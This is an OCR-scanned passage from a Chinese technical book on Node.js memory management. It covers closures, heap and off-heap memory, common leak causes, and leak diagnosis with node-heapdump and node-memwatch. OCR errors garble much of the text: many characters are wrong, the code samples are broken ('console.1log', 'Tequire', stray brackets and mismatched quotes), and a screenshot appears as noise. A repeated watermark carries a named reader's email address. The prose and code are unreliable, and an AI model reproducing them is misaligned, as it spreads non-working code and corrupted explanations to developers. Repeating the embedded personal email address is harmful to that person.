var foo = function () { 
var bar = function () { 
var local = "局 部 变量 "; 
return function () { 
return local; 


le 
var baz = bar(); 
console.1log(baz()); 
站 


一 般 而 言 ， 在 bar() 函 数 执行 完成 后 ， 局 部 变量 local 将 会 随 痢 作用 域 的 销毁 而 被 回收 。 但 是 
注意 这 里 的 特点 在 于 返回 值 是 一 个 匿名 函数 ， 且 这 个 函数 中 具备 了 访问 local 的 条 件 。 虽 然 在 后 
续 的 执行 中 ， 在 外 部 作用 域 中 还 是 无 法 直接 访问 local， 但 是 大 要 访问 它 ， 只 要 通过 这 个 中 间 扬 
数 稍 作 周 转 即 可 。 
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闭 包 是 JavaScript 的 高 级 特性 ,利用 它 可 以 产生 很 多 巧妙 的 效果 。 它 的 问题 在 于 , 一 旦 有 变量 
引用 这 个 中 间 也 数 ， 这 个 中 间 汤 数 将 不 会 释放 ， 同 时 也 会 使 原始 的 作用 域 不 会 得 到 释放 ， 作 用 域 
中 产生 的 内 存 占用 也 不 会 得 到 释放 。 除 非 不 再 有 3 引用， 才 会 逐步 释放 。 


5.2.3 小结 


在 正常 的 JavaScript 执 行 中 ， 无 法 立即 回收 的 内 存 有 闭 包 和 全 局 变量 引用 这 两 种 情况 。 由 于 
V8 的 内 存 限制 ， 要 十 分 小 心 此 类 变量 是 否 无 限制 地 增加 ， 因 为 它 会 导致 老生 代 中 的 对 象 增多 。 


5.3 内存 指标 


一 般 而 言 , 应 用 中 存在 一 些 全 局 性 的 对 象 是 正常 的 ,而 且 在 正常 的 使 用 中 ,变量 都 会 自动 释 
放 回 收 。 但 是 也 会 存在 一 些 我 们 认为 会 回收 但 是 却 没有 被 回收 的 对 象 , 这 会 导致 内 存 占 用 无 限 增 
长 。 一 旦 增长 达到 V8 的 内 存 限制 ， 将 会 得 到 内 存 溢出 错误 ， 进 而 导致 进程 退出 。 


5.3.1 查看 内 存 使 用 情况 


前 面 我 们 提 到 了 process.memoryUsage() 可 以 查看 内 存 使 用 情况 。 除 此 之 外 ，os 模 块 中 的 
totalmem() 和 freemem() 方 法 也 可 以 查看 内 存 使 用 情况 。 

1. 查看 进程 的 内 存 占用 

调用 process.memoryUsage() 可 以 看 到 Node 进 程 的 内 存 占用 情况 ， 示 例 代码 如 下 : 

$ node 

> process.memoryUsage() 

{ rss: 13852672， 


heapTotal: 6131200， 
heapUsed: 2757120 } 


rss 是 resident set size 的 缩写 ， 即 进程 的 稼 驻 内 存 部 分 。 进 程 的 内 存 总 共有 几 部 分 ， 一 部 分 是 
rss， 其 余部 分 在 交换 区 (swap ) 或 者 文件 系统 (filesystem ) 中 。 
除了 rss 外 ，heapTotal 和 heapUsed 对 应 的 是 V8 的 扒 内 存 信息 。heapTotal 是 推 中 总 共 申 请 的 内 
存量 ，heapUsed 表 示 目 前 堆 中 使 用 中 的 内 存量 。 这 3 个 值 的 单位 都 是 学 廊 。 
为 了 更 好 地 查看 效果 ， 我 们 格式 化 一 下 输出 结 采 : 
var showMem = function () { 
var mem = process.memoryUsage(); 
var format = function (bytes) { 
return (bytes / 1024 / 1024).toFixed(2) + " MB'; 
}; 
console.log('Process: heapTotal ' + format(mem.heapTotal) + 


' heapUsed ”+ format(mem.heapUsed) + ' rss ' + format(mem.rss)); 
console.1log('------------ 二 上 


及 
同时 ， 写 一 个 方法 用 于 不 侣 地 分 配 内 存 但 不 释放 内 存 ， 相 关 代 码 如 下 : 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


5.3 ”内 存 指 标 125 


var useMem = function () { 
Var size = 20 * 1024 * 1024; 
var arr = new Array(size); 
for (var i = 0; i < size; i++) { 
arr[i|] = 0; 
} 


return arr; 


}; 
var total = [|]; 


for (var j] = 0; j < 15; j++) { 
showMem( ) ; 
total.push(useMem( ) ) ; 


showMem( ) ; 
将 以 上 代码 存 为 outofmemory.js 并 执行 它 ， 得 到 的 输出 结果 如 下 : 


$ node outofmemory.]js 
Process: heapTotal 3.86 MB heapUsed 2.10 MB rss 11.16 MB 


FATAL ERROR: CALL AND RETRY 2 Allocation failed - process out of memory 

可 以 看 到 , 每 次 调用 useMem 都 导致 了 3 个 值 的 增长 。 在 接近 1500 MB 的 时 候 , 无 法 继续 分 配 内 
存 ， 然 后 进程 内 存 溢出 了 ， 连 循环 体 都 无 法 执行 完成 ， 仅 执行 了 7 次 。 

2. 查看 系统 的 内 存 占用 

与 process.memoryUsage() 不 同 的 是 ，os 模 块 中 的 totalmem() 和 freemem() 这 两 个 方法 用 于 查看 操 
作 系 统 的 内 存 使 用 情况 ， 它 们 分 别 返 回 系 统 的 总 内 存 和 内置 内 存 ， 以 字 市 为 单位 。 示 例 代 人 码 如 下 : 

$ node 


> os.totalmem() 
8589934592 

> 0s.freemem() 
4527833088 

> 


从 输出 信息 可 以 看 到 我 的 电脑 的 总 内 存 为 8 GB， 当 前 朵 置 内 存 大 致 为 4.2 GB。 
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5.3.2 ” 堆 外 内 存 


ee momoryUsage() 的 结果 可 以 看 到 ， ep dn 于 进程 的 常 驻 内 存 用 
量 ， 这 意味 者 Node 中 的 内 存 使 用 并 非 都 是 通过 V8 进行 分 配 的 。 我 们 将 那些 不 是 通过 V8 分 配 的 内 
ee 

这 里 我 们 将 前 面 的 useMem() 方 法 稍微 改造 一 下 , 将 Array 变 为 Buffer， 将 size 变 大 ， 每 一 次 构 
造 200 MB 的 对 象 ， 相 关 代 人 码 如 下 : 


var useMem = function () { 
var size = 200 * 1024 * 1024; 
var buffer = new Buffer(size); 
for (var i = 0; i «< size; i++) { 
buffer[i| = 0; 


return buffer; 


}; 

重新 执行 该 代码 ， 得 到 的 输出 结果 如 下 所 示 : 

$ node out of heap.js 

Process: heapTotal 3.86 MB heapUsed 2.07 MB rss 11.12 MB 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


5.4 内存 泄漏 127 


我 们 看 到 15 次 循环 都 完整 执行 , 并 且 三 个 内 存 占用 值 与 前 一 个 示例 完全 不 同 。 在 改造 后 的 输 
出 结果 中 ，heapTotal 与 heapUsed 的 变化 极 小 ， 唯 一 变化 的 是 rss 的 值 ， 并 且 该 值 已 经 远 远 超过 V8 
的 限制 值 。 这 其 中 的 原因 是 Buffer 对 和 象 不 同 于 其 他 对 象 ， 它 不 经 过 V8 的 内 存 分 配 机 制 ， 所 以 也 不 
会 有 堆 内 存 的 大 小 限制 。 

这 意味 看 利用 推 外 内 存 可 以 突破 内 存 限制 的 问题 。 

为 何 Buffer 对 象 并 非 通过 V8 分 配 ? 这 在 于 Node 并 不 同 于 浏览 器 的 应 用 场景 。 在 浏览 器 中 ， 
JavaScript 百 接 处 理 字 符 串 即 可 满足 绝 大 多 数 的 业务 需求 ,而 Node 则 需要 处 理 网 络 流 和 文件 IO 流 ， 
操作 字符 串 远 远 不 能 满足 传输 的 性 能 需求 。 

关于 Buffer 的 细节 可 参见 第 6 昔 。 


5.3.3 ”小结 


从 上 面 的 介绍 可 以 得 知 ，Node 的 内 存 构成 主要 由 通过 V8 进 行 分 配 的 部 分 和 Node 目 行 分 配 的 
部 分 。 受 V8 的 垃圾 回收 限制 的 主要 是 V8 的 堆 内 存 。 


5.4 ”内 存 泄漏 


Node 对 内 存 泄 漏 十 分 敏感 , 一 旦 线 上 应 用 有 成 千 上 万 的 流量 , 那 怕 是 一 个 学 市 的 内 存 泄漏 也 
会 造成 堆积 , 垃圾 回收 过 程 中 将 会 耗费 更 多 时 间 进 行 对 象 扫 描 ， 应 用 啊 应 绥 慢 ， 下 到 进程 内 存 洲 
出 ， 应 用 月 演 。 

在 V8 的 垃圾 回收 机 制 下 ， 在 通常 的 代码 编写 中 ， 很 少 会 出 现 内 存 泄漏 的 情况 。 但 是 内 存 汇 
漏 通常 产生 于 无 意 间 ， 较 难 排 查 。 尺 管内 存 泄漏 的 情况 不 尽 相 同 , 但 其 实质 只 有 一 个 ， 那 就 是 应 
当 回 收 的 对 象 出 现 音 外 而 没有 被 回收 ， 变 成 了 律 驻 在 老生 代 中 的 对 和 象 。 

通常 ， 造 成 内 存 泄漏 的 原因 有 如 下 几 个 。 

口 缓存 。 

口 队列 消费 不 及 时 。 

口 作用 域 未 释放 。 


5.4.1 慎 将 内 存 当 做 缓存 


缓存 在 应 用 中 的 作用 举足轻重 ， 可 以 十 分 有 效 地 节省 资源 。 因 为 它 的 访问 效率 要 比 IO 的 效 
率 高 ， 一 旦 命中 缓存 ， 就 可 以 节省 一 次 IO 的 时 间 。 

但 是 在 Node 中 , 绥 存 并 非 物美 价 廉 。 一 旦 一 个 对 象 被 当做 绥 存 来 使 用 , 那 就 意味 着 它 将 会 常 
驻 在 老生 代 中 。 组 存 中 存储 的 键 越 多 ,长 期 存活 的 对 象 也 就 越 多 ， 这 将 导致 垃圾 回收 在 进行 扫描 
和 整理 时 ， 对 这 些 对 象 做 无 用 功 。 

另 一 个 问题 在 于 , JavaScript 开 发 者 通常 喜欢 用 对 象 的 键 值 对 来 缓存 东西 , 但 这 与 严格 意义 上 
的 缓存 又 有 独 区 别 ， 严 格 意义 的 缓存 有 着 完善 的 过 期 生 略 ， 而 普通 对 象 的 键 值 对 并 没有 。 
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如 下 代码 虽然 利用 JavaScript 对 象 十 分 容易 创建 一 个 缓存 对 象 ， 但 是 受 垃 圾 回收 机 制 的 影响 ， 
只 能 小 量 使 用 : 


var cache = {}; 
var get = function (key) { 
if (cache[key]) { 
return cachel[key]; 
} else { 
// get from otherwise 
} 
}; 
var set = function (key, value) { 
Cache[key] = value; 


}; 

上 上述 示例 在 解释 原理 后 ， 十 分 容易 理解 ， 如 果 需 要 ， 只 要 限定 缓存 对 象 的 大 小 ,加 上 完善 的 
过 期 策略 以 防止 内 存 无 限制 增长 ， 还 是 可 以 一 用 的 。 

这 里 给 出 一 个 可 能 无 意识 造成 内 存 泄 漏 的 场景 : memoize。 下 面 是 著名 类 库 underscore 对 
memoize 的 实现 : 


_.memoize = function(func, hasher) { 
var memo = {}; 
hasher || (hasher = .identity); 
return function() { 
var key = hasher.apply(this, arguments); 
return .has(memo, key) ? memo[key|] : (memo[key] = func.apply(this, arguments)); 
}; 
}; 


它 的 原理 是 以 参数 作为 键 进 行 缓存 ,以 内 存 空间 换 CPU 执 行 时 间 。 这 里 洲 藏 的 陷阱 即 是 每 个 
被 执行 的 结果 都 会 按 参 数 绥 存在 memo 对 象 上 , 不 会 被 清除 。 这 在 前 端 网 页 这 种 短 时 应 用 场景 中 不 
存在 大 问题 ,但 是 执行 量 大 和 参数 多 样 性 的 情况 下 ， 会 造成 内 存 占 用 不 释放 。 
所 以 在 Node 中 , 任何 试图 拿 内 存 当 绥 存 的 行为 都 应 当 被 限制 。 当然 , 这 种 限制 并 不 是 不 允许 
使 用 的 意思 ， 而 是 要 小 心 为 之 。 
1. 缓存 限制 策略 
为 了 解决 绥 存 中 的 对 象 永远 无 法 释放 的 问题 ， 需 要 加 入 一 种 策略 来 限制 缓存 的 无 限 增长 。 为 
此 我 曾 写 过 一 个 模块 limitablemap， 它 可 以 实现 对 键 值 数量 的 限制 。 下 面 是 其 实现 : 
var LimitableMap = function (limit) { 
this.limit = limit || 10; 
this.map = {}; 


this.keys = [|]; 
); 


var hasOwnProperty = Object.prototype.hasOwnProperty; 
LimitableMap.prototype.set = function (key, value) { 


var map = this.map; 
var keys = this.keys; 
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if (!hasOwnProperty.call(map, key)) { 
if (keys.length === this.limit) { 
var firstKey = keys.shift(); 
delete map[firstkey]; 


jl 
keys.push(key); 


map[key] = value; 


了 


LimitableMap.prototype.get = function (key) { 
return this.map[key|]; 


}; 

module.exports = LimitableMap; 

可 以 看 到 ， 实现 过 程 还 是 非常 价 单 的 。 记 录 键 在 数组 中 ,一 旦 超过 数量 ,就 以 先进 先 出 的 方 
式 进行 淘汰 。 

当然 ， 这 种 淘汰 策略 并 不 是 十 分 高 效 ， 只 能 应 付 小 型 应 用 场景 。 如 果 需 要 更 高 效 的 缓存 ， 可 
以 参见 Isaac Z. Schlueter 采 用 LRU 算 法 的 缓存 ， 地 址 为 https://github.com/isaacs/node-lru-cache。 结 
合 有 限制 的 缓存 ，memoize 还 是 可 用 的 。 

另 一 个 案例 在 于 模块 机 制 。 在 第 2 草 的 模块 介绍 中 ， 为 了 加 速 模块 的 引入 ， 所 有 模块 都 会 通 
过 编译 执行 ， 然 后 被 缓存 起 来 。 由 于 通过 exports 导 出 的 图 数 ， 可 以 访问 文件 模块 中 的 私有 变量 ， 
这 样 每 个 文件 模块 在 编译 执行 后 形成 的 作用 域 因 为 模块 缓存 的 原因 , 不 会 被 释放 。 示例 代码 如 下 
所 示 : 


(function (exports, require, module, filename, dirname) { 
Var local = "局 部 变量 "; 


exports.get = function () { 
return local; 


}; 
| 局 


由 于 模块 的 缓存 机 制 ， 模 块 是 第 驻 老生 代 的 。 在 设计 模块 时 ， 要 十 分 小 心 内 存 泄 独 的 出 现 。 
在 下 面 的 代码 , 每 次 调用 leak() 方 法 时 , 都 导致 局 部 变量 leakArTray 不 停 增 加 内 存 的 占用 ,， 且 不 被 
释放 : 

var leakArray = [|]; 


exports.leak = function () { 
leakArray.push("leak" + Math.random()); 


如 果 梗 块 不 可 避免 地 需要 这 人 么 设计 ,那么 请 添加 清空 队列 的 相应 接口 , 以 供 调用 者 释放 内 存 。 

2. 缓存 的 解决 方案 

下 接 将 内 存 作为 缓存 的 方案 要 十 分 司 重 。 除 了 限制 绥 存 的 大 小 外 ， 男 外 要 考虑 的 事情 是 ， 进 
程 之 间 无 法 共 训 内存。 如 有 果 在 进程 内 使 用 缓存 ,这 些 缓存 不 可 避免 地 有 重复 ， 对 物理 内 存 的 使 用 
是 一 种 浪 完 。 
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如 何 使 用 大 量 绥 存 , 日 前 比较 好 的 解决 方案 是 采用 进程 外 的 缓存 ,进程 目 喘 不 存储 状态 。 外 
部 的 缓存 软件 有 大 民 好 的 绥 存 过 期 淘汰 全 上 略 以 及 目 有 的 内 存 管理 , 不 影响 Node 进 程 的 性 能 。 它 的 
好 处 多 多 ， 在 Node 中 主要 可 以 解决 以 下 两 个 问题 。 

(1) 将 缓存 转移 到 外 部 ， 减 少 第 驻 内 存 的 对 和 象 的 数量 ， 让 垃圾 回收 更 局 效 。 

(2) 进程 之 间 可 以 共 且 缓存。 

目前 ， 市 面 上 较 好 的 缓存 有 Redis 和 Memcached。Node 模 块 的 生态 系统 十 分 完善 ， 这 两 个 产 
品 的 客户 端 都 有 ， 通 过 以 下 地 址 可 以 查看 具体 使 用 详情 。 

DQ Redis: https://github.com/mranney/node redis。 

DD Memcached: https://github.com/3rd-Eden/node-memcached, 


5.4.2 关注 队列 状态 


在 解决 了 缓存 读 来 的 内 存 汽 漏 问题 后 ， 兄 一 个 不 经 意 产生 的 内 存 泄 漏 则 是 队列 。 在 第 4 草 中 
可 以 看 到 ， 在 JavaScript 中 可 以 通过 队列 ( 数组 对 象 ) 来 完成 许多 特殊 的 需求 ， 比 如 Bagpipe。 队 
列 在 消费 者 -生产 者 模型 中 经 稼 充当 中 间 产 物 。 这 是 一 个 容易 忽略 的 情况 ， 因 为 在 大 多 数 应 用 场 
景 下 ， 消 费 的 速度 远 远 大 于 生产 的 速度 ， 内 存 泄 漏 不 易 产 生 。 但 是 一 旦 消费 速度 低 于 生产 速度 ， 
将 会 形成 堆积 。 

举 个 实际 的 例子 ， 有 的 应 用 会 收集 日 志 。 如 有 果 欠 缺 考 虑 ,也许 会 来 用 数据 库 来 记录 日 志 。 日 
志 通 常会 是 海量 的 ,数据 库 构 建 在 文件 系统 之 上 ， 写 入 效率 远 远 低 于 文件 直接 写 人 ,于 是 会 形成 
数据 库 瑟 人 操作 的 堆积 ,而 JavaScript 中 相关 的 作用 域 也 不 会 得 到 释放 ,内存 占 用 不 会 回落 ， 从 而 
出 现 内 存 汇 涯 。 

过 到 这 种 场景 , 表层 的 解决 方 宁 是 换 用 消费 速度 更 高 的 拉 术 。 在 日 志 收 集 的 双 例 中 , 换 用 文 
件 写 人 日 志 的 方式 会 更 高 效 。 需要 注意 的 是 ,如果 生产 速度 因为 某 些 原因 突然 激增 , 或 者 消费 速 
度 因为 突然 的 系统 故障 降低 ， 内 存 泄 漏 还 是 可 能 出 现 的 。 

深度 的 解决 方案 应 该 是 监控 队列 的 长 度 , 一 旦 堆积 , 应 当 通 过 监控 系统 产生 报警 并 通知 相关 
人 员 。 男 一 个 解决 方 宁 是 任意 异步 调用 都 应 该 包含 超时 机 制 ， 一 旦 在 限定 的 时 间 内 未 完成 啊 应 ， 
通过 回调 也 数 传递 超时 异常 , 使 得 任意 异步 调用 的 回调 都 具备 可 控 的 啊 应 时 间 , 给 消费 速度 一 个 
下 限 值 。 

对 于 Bagpipe 而 言 ， 它 提供 了 超时 模式 和 拒绝 模式 。 启 用 超时 模式 时 ， 调 用 加 入 到 队列 中 就 
开始 计时 ， 超时 就 直接 啊 应 一 个 超时 错误 。 启 用 拒绝 模式 时 ， 当 队列 拥 罕 时， 新 到 来 的 调用 会 百 
接 啊 应 拥 罕 错误 。 这 两 种 模式 都 能 够 有 效 地 防止 队列 拥 蹇 导致 的 内 存 泄漏 问题 。 


5.5 ”内 存 泄漏 排查 


前 面 提 及 了 儿 种 导 作 内存 汇 汤 的 常见 类 型 。 在 Node 中 ， 由 于 V8 的 堆 内 存 大 小 的 限制 ， 它 对 
内 存 汇源 非常 敏感 。 当 在 线 服 务 的 请 求 量变 大 时 ,哪怕 是 一 个 子 市 的 泄漏 都 会 导致 内 存 占用 过 融 。 
这 里 介绍 一 下 遇 到 内 存 汇源 时 的 排查 方案 。 
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现在 已 经 有 许多 工具 用 于 定位 Node 应 用 的 内 存 泄 漏 ， 下 面 是 一 些 常 见 的 工具 。 

口 v8-profiler。 由 Danny Coates 提 供 ， 它 可 以 用 于 对 V8 扒 内存 抓 取 快照 和 对 CPU 进行 分 析 ， 
但 该 项 目 已 经 有 3 年 没有 维护 了 。 

D node-heapdump。 这 是 Node 核 心 贡献 者 之 一 Ben Noordhuis 编 写 的 模块 ， 它 允许 对 V8 堆 内 
存 抓 取 快照 ， 用 于 事后 分 析 。 

D node-mtrace。 由 Jimb Esser 提 供 ， 它 使 用 了 GCC 的 mtrace 工 具 来 分 析 堆 的 使 用 。 

D dtrace。 在 Joyent 的 SmartOS 系 统 上 ， 有 完善 的 dtrace 工 具 用 来 分 析 内 存 泄 漏 。 

D node-memwatch。 来 日 Mozilla 的 Lloyd Hilaiel 贡 献 的 模块 ， 采 用 WTFPL 许 可 发 布 。 

由 于 各 种 条 件 限 制 ,这 里 将 只 着 重 介 绍 通过 node-heapdump 和 node-memwatch 两 种 方式 进行 内 

存 泄 漏 的 排查 。 


5.5.1 node-heapdump 


想 要 了 解 node-heapdump 对 内 存 泄漏 进行 排查 的 方式 ,我 们 需要 先 构 造 如 下 一 份 包含 内 存 泄 
漏 的 代码 示例 ， 并 将 其 存 为 server.js 文 件 : 

var leakArray = [|]; 

var leak = function () { 


leakArray.push("leak" + Math.random()); 


3 


http.createServer(function (req, res) { 
leak(); 


res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 
}) .listen(1337); 


console.log('Server running at http://127.0.0.1:1337/'); 

在 上 面 这 段 代 码 中 ， 每 次 访问 服务 进程 都 将 引起 leakArray 数 组 中 的 元 素 增 加 ， 而 且 得 不 到 
回收 。 我 们 可 以 用 curl 工 具 输入 http:/127.0.0.1:1337/ 命 令 来 模拟 用 户 访问 。 

@ 安装 node-heapdump 

安装 node-heapdump 非 常 简单 ， 执 行 以 下 命令 即 可 : 

$ npm install heapdump 

安 疫 node-heapdump 后 ， 在 代码 的 第 一 行 添 加 如 下 代码 将 其 引入 : 

var heapdump = require( 'heapdump ) ; 

引入 node-heapdump 后 ， 就 可 以 启动 服务 进程 ， 并 接受 客户 端的 请 求 。 访 问 多 次 之 后 ， 
leakArray 中 就 会 具备 大 量 的 元 素 。 这 个 时 候 我 们 通过 向 服务 进程 发 送 SIGUSR2 信 号 ， 让 
node-heapdump 抓 拍 一 份 堆 内 存 的 快照 。 发 送信 号 的 命令 如 下 : 


$ kill -USR2 <pid> 


这 份 抓 取 的 快照 将 会 在 文件 目录 下 以 heapdump-<sec>.<usec>.heapsnapshot 的 格式 存放 。 这 是 
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一 份 较 大 的 JSON 文 件 ， 需 要 通过 Chrome 的 开发 者 工具 打开 查看 。 
本 的 开发 者 工具 中 选中 Profiles 面 板 , 右 击 该 文件 后 , 从 弹出 的 快捷 菜单 中 选择 Load... 
， 打 开 刚 才 的 快照 文件 ， 就 可 以 查看 堆 内 存 中 的 详细 信息 ， 如 图 5-10 所 示 。 


Developer Tools — http:/ /Blog.eccodcn/node—ls gt 


Elements Resources Network Sources Timeline | Profles | Audits Console PagaSpeed 


-一 一 me -一 
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HEAF SNAFSHATS | "LeakB.B4839748586528003' (59165 10 40 0W| 38 VM 
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pb" leakd. 7385612269863486" (G9375 10 #0 口外 88' 0% 
bp" leakg.2765698346775025" (9179 10 40 0 38 OM 
“LeaskB.2897529164329171T"” (GA1A3 10 $0 ON 88' VW 
. "leak@. 6464914870449843" GOT167 10 40 DON 88， DW 
PP” leakgd. 503753589916646" (G99 10 40 ON 88' DW 
» "leakd.36198280100728972" (G9195 10 40 DON 88 DW 
“LeakB.98165538877785285" 总 BJ95 10 40 ON 88' 0 
pp" leakg. 85517176915860742" G9203 10 40 DW 388， 1 站 
rnffurczion (exports, reqguire, modyle,|s | BE OW B38 0 
“LeaRkB.9900042035058141 (G11007 It | 40 D0 88 1 
bp" leakd.85798B41719202396" G31917 10 a0 ON 388 0 
. "Leak@. 283006579979845838" (G11015 10 40 0 88 0 
." leakd, 35460004103738964" tiHID 10 #0 RR NW 
Object's retaining tree 三 让 
|Dbject Shallow 3.:: ,Retailined :Dist :去 | 
| 了 并] in Array 本 6371 ”32 0WX|1704 DTI7 i 
Fpath5 in Module C25967 136 | 1890 访 饮 和 6 
Fr [0 到 Array 而 26955 32 OW 184 DYIS 
vehnildren in ModUte (G265919 136 上 | 工 D8G 请 全 | 委 
.mainModule in process @817) 24 5 5328 DYI3 | 
virocess in GAGYS | 56 OVS56344 FY 2 
,Xa 9 Summary ww Allobjects™ ? S102 和 


图 5-10 ”查看 堆 内 存 中 的 详细 信息 


在 图 5-10 中 可 以 看 到 有 大 量 的 leak 子 符 串 存在 ， 这 些 学 符 串 就 是 一 直 示 能 得 到 回收 的 数据 。 
通过 在 开发 者 工具 的 面板 中 查看 内 存 分 布 , 我们 可 以 找到 泄漏 的 数据 , 然后 根据 这 些 信息 找到 造 
成 泄漏 的 代码 。 


5.5.2 node-memwatch 


node-memwatch 的 用 法 和 node-heapdump 一 样 , 我 们 需要 准备 一 份 具有 内 存 泄漏 的 代码 。 这 里 
不 再 履 述 node-memwatch 的 安装 过 程 。 整 个 示例 代码 如 下 : 


var memwatch = Tequire( 'memwatch ' ) ; 

memwatch.on('leak', function (info) { 
console.log('leak: '); 
console.log(info); 


]) 


memwatch.on('stats', function (stats) { 
console.1log('stats:') 
console.1log(stats); 


}); 
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var http = Tequire( "http ) ; 


var leakArray = []; 
var leak = function () { 
leakArray.push("leak" + Math.random()); 


了 


http .createServer(function (req, res) { 
leak(); 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}).listen(1337); 


console.1log('Server running at http://127.0.0.1:1337/'); 


1. stats 事 件 
在 进程 中 使 用 node-memwatch 之 后 ,每 次 进行 全 堆 垃 圾 回收 时 , 将 会 触发 一 次 stats 事 件 ， 这 
个 事件 将 会 传递 内 存 的 统计 信息 。 在 对 上 述 代码 创建 的 服务 进程 进行 访问 时 ， 某 次 stats 事 件 打 
印 的 数据 如 下 所 示 ， 其 中 每 项 的 意义 写 在 注释 中 了 了 : 
stats: 
{ num full gc: 4，// 第 几 次 全 堆 垃 圾 回收 
num_inc gc: 23，// 第 几 次 增 量 垃圾 回收 
heap_compactions: 4，// 第 几 次 对 老生 代 进 行 整理 
usage trend: 0，// 使 用 趋势 
estimated base: 7152944，// 预 估 基数 
current _ base: 7152944，// 当前 基数 
min: 6720776，// 最 小 
max: 7152944 } // 最 大 


在 这 些 数据 中 ，num_ full gc 和 num inc gc 比较 直观 地 反应 了 垃圾 回收 的 情况 。 

2. leak 事 件 

如 果 经 过 连续 5 次 垃圾 回收 后 ， 内 存 仍 然 没 有 人 被 释放 ， 这 童 味 着 有 内 存 泄漏 的 产生 ， 
node-memwatch 会 出 发 一 个 leak 事 件 。 某 次 leak 事 件 得 到 的 数据 如 下 所 示 : 


leak: 
{ start: Mon Oct 07 2013 13:46:27 GMT+0800 (CST), 
end: Mon Oct 07 2013 13:54:40 GMT+0800 (CST), 
growth: 6222576， 
reason: 'heap growth over 5 consecutive GCs (8m 13s) - 43.33 mb/hr' } 


这 个 数据 能 显示 $ 次 垃圾 回收 的 过 程 中 内 存 增 长 了 多 少 。 

3. 堆 内 存 比较 

最 终 得 到 的 leak 事 件 的 信息 只 能 告知 我 们 应 用 中 存在 内 存 泄 漏 , 具体 问题 产生 在 何 处 还 需要 
从 V8 的 堆 内 存 上 定位 。node-memwatch 提 供 了 抓 取 快 照 和 比较 快照 的 功能 ， 它 能 够 比较 堆 上 对 和 象 
的 名 称 和 分 配 数量 ， 从 而 找 出 导致 内 存 泄 漏 的 元 区 | 。 

下 面 为 一 段 导 致 内 存 泄 涯 的 代码 ， 这 是 通过 node-memwatch 歼 取 堆 内 存 差异 结果 的 示例 : 


var memwatch = require('memwatch'); 
var leakArray = []; 
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var leak = function () { 
leakArray.push("leak" + Math.random( ) ) ; 


j 


// Take first snapshot 
var hd = new memwatch.HeapDiff(); 


for (var i = 0; i «< 10000; i++) { 
leak(); 
} 


// Take the second snapshot and compute the diff 
var diff = hd.end(); 
console.1log(JSON.stringify(diff, null, 2)); 


执行 上 面 这 段 代 码 ， 得 到 的 输出 结 末 如 下 所 示 : 


$ node diff.js 
{ 


"before": { 
"nodes": 11719， 
"time": "2013-10-07T06:32:07.000Z", 
"size bytes": 1493304， 
"size": "1.42 mb" 


after": { 
"nodes": 31618, 
"time": "2013-10-07T06:32:07.000Z"， 
"size bytes": 2684864， 
"size": "2.56 mb" 


change": { 

"size bytes": 1191560， 

"size": "1.14 mb", 

"freed nodes": 129， 

"allocated nodes": 20028, 

"details": [ 

{ 

"what": “ATITay ， 
"size bytes": 323720， 
"size": "316.13 kb", 
"+": 15， 
"-": 65 


"what": "Code", 

"size bytes": -10944， 
"size": "-10.69 kb", 
"+": 8, 

"-": 28 


"what": "String", 
"size bytes": 879424， 
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"size": "858.81 kb", 
"+": 20001, 
Le 
} 
] 
} 
} 


在 上 面 的 输出 结果 中 ， 主 要 关注 change 闻 点 下 的 freed_nodes 和 allocated_nodes， 它 们 记录 了 
释放 的 厄 点 数量 和 分 配 的 方 点 数量 。 这 里 由 于 有 内 存 泄漏 ， 分 配 的 方 点 数量 远 远 多 余 释 放 的 市 点 
数量 。 在 details 下 可 以 看 到 具体 每 种 类 型 的 分 配 和 释放 数量 ， 主 要 问题 展现 在 下 面 这 段 输出 中 : 

{ 

"what": "String", 
"size bytes": 879424， 
"size": "858.81 kb", 


"+": 20001, 
"。 1 


} 
在 上 述 代 码 中 , 加 号 和 减 写 分 别 表 示 分 配 和 释放 的 字符 串 对 和 象 数 量 。 可 以 通过 上 面 的 输出 结 
末 猜 测 到 ， 有 大 量 的 字符 串 没 有 被 回 收 。 


5.5.3 小结 


从 本 节 的 内 容 我 们 可 以 得 知 ， 排 查 内 存 泄漏 的 原因 主要 通过 对 堆 内 存 进 行 分 析 而 找到 。 
node-heapdump 和 node-memwatch 各 有 所 长 ， 读 者 可 以 结合 它们 的 优势 进行 内 存 泄 涯 排查 。 


5.6 大 内 存 应 用 


在 Node 中 ， 不 可 避免 地 还 是 会 存在 操作 大 文件 的 场景 。 由 于 Node 的 内 存 限 制 ， 操 作 大 文件 
也 需要 小 心 ， 好 在 Node 提 供 了 stream 模 块 用 于 处 理 大 文件 。 

stream 模 块 是 Node 的 原生 模块 ， 直 接 引 用 即 可 。stream 继 承 自 EventEmitter， 具 备 基本 的 自 
定义 事件 功能 ,同时 抽象 出 标准 的 事件 和 方法 。 它 分 可 旋 和 可 写 两 种 。Node 中 的 大 多 数 模 块 都 有 
stream 的 应 用 ， 比 如 fs 的 createReadStream() 和 createWriteStream() 方 法 可 以 分 别 用 于 创建 文件 
的 可 读 流 和 可 写 流 ，process 模 块 中 的 stdin 和 stdout 则 分 别 是 可 读 流 和 可 写 流 的 示例 。 

由 于 V8 的 内 存 限 制 ， 我 们 无 法 通过 fs.readFile() 和 fs.writeFile() 直 接 进 行 大 文件 的 操作 ， 
而 改 用 fs.createReadStream() 和 fs.createWriteStream() 方 法 通过 流 的 方式 实现 对 大 文件 的 操 
作 。 下 面 的 代码 展示 了 如 何 谱 取 一 个 文件 ， 然 后 将 数据 写 人 到 另 一 个 文件 的 过 程 : 

var reader = fs.createReadStream('in.txt'); 

var writer = fs.createWriteStream('out.txt'); 

reader.on('data', function (chunk) { 


writer.write(chunk); 


| 


reader.on('end', function () { 
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writer.end(); 


}); 
由 于 读 写 模型 回 定 ， 上 述 方法 有 更 简洁 的 方式 ， 具 体 如 下 所 示 : 


var reader = fs.createReadStream('in.txt'); 
var writer = fs.createWriteStream('out.txt' ); 
reader.pipe(writer); 


可 读 流 提供 了 管道 方法 pipe()， 封 装 了 data 事 件 和 写 和 操作。 通过 流 的 方式 ， 上 述 代 码 不 会 
受到 V8 内 存 限制 的 影响 ， 有效 地 提高 了 程序 的 健壮 性 。 

J 需要 进行 字符 串 层面 的 操作 ， 则 不 需要 借助 V8 来 处 理 ， 可 以 尝试 进行 纯粹 的 Buffer 操 
